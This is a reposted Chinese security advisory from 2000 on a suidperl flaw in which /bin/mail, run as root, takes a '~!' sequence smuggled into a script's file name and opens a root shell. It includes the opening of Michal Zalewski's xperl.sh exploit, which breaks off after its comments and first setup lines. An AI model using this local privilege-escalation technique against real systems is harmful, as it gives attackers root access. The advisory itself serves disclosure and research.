SuidPerl调用/bin/mail漏洞

发布日期：2000-08-11
更新日期：2000-08-11

受影响系统：

Larry Wall Perl 5.6
MandrakeSoft Linux Mandrake 7.1
Larry Wall Perl 5.005_003
RedHat Linux 6.x
Turbo Linux
MandrakeSoft Linux Mandrake 7.0
MandrakeSoft Linux Mandrake 6.1
MandrakeSoft Linux Mandrake 6.0
Caldera eServer 2.3
Caldera eDesktop 2.4
Debian Linux 2.x
Larry Wall Perl 5.005
Larry Wall Perl 5.004_05
RedHat Linux 5.x

描述：

---

suidperl运行时会进行某些安全检查，当某个perl脚本设置了SUID却不是SUID-TO-ROOT时，
安全检查失败，suidperl调用/bin/mail向root发送类似下面内容的信息：

From: Bastard Operator <root@nimue.tpi.pl>
To: root@nimue.tpi.pl

User 500 tried to run dev 769 ino 343180 in place of dev 769 ino 343183!
(Filename of set-id script was /some/thing, uid 500 gid 500.)

Sincerely,
perl

企图被执行的脚本名字插入到邮件内容中，该名字取自argv[1]。此时suidperl并未
清空环境变量，也未放弃root权限，意味着/bin/mail以root权限被启动。/bin/mail
有一个未公开的特性，如果环境变量"interactive"值不为空，/bin/mail认为"~!"是
一个控制序列，此时即便当前进程没有附属终端，也会启动一个shell准备执行命令。

恶意用户创建一个脚本，其文件名带有控制序列以及准备执行的命令，suidperl安检
失败，结果导致/bin/mail启动了一个root shell并执行命令。

<* 来源：Sebastian Krahmer (krahmer@cs.uni-potsdam.de)
Michal Zalewski (lcamtuf@dione.ids.pl) *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

============================ xperl.sh BEGIN ======================================
#!/bin/sh

#
# -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
#
# Wonderful, lovely, world-smashing, exciting perl exploit. It works against
# s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
#
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
#
# Development history of this exploit is really funny. I found this condition
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but
# if he realise how he can do it, he'll be able to use undocumented /bin/mail
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mail to interpret ~! commands (subshell requests) even if stdin is not
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall what the fsck was the condition. I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
#
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit it. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
#
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
#
#
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
#
# Send comments, ideas and flames to <lcamtuf@ids.pl>
# Tested with sperl 5.00503, but should work with any other as well.
#
# Good luck and don't abuse it.
#

clear

echo "Suidperl 5.00503 (and newer) root exploit"
echo "-----------------------------------------"
echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>"
echo "With great respect to Sebastian Krahmer..."
echo

SUIDPERL=/usr/bin/suidperl
SUIDBIN=/usr/bin/passwd

echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."

if [ ! -u $SUIDPERL ]; then
echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有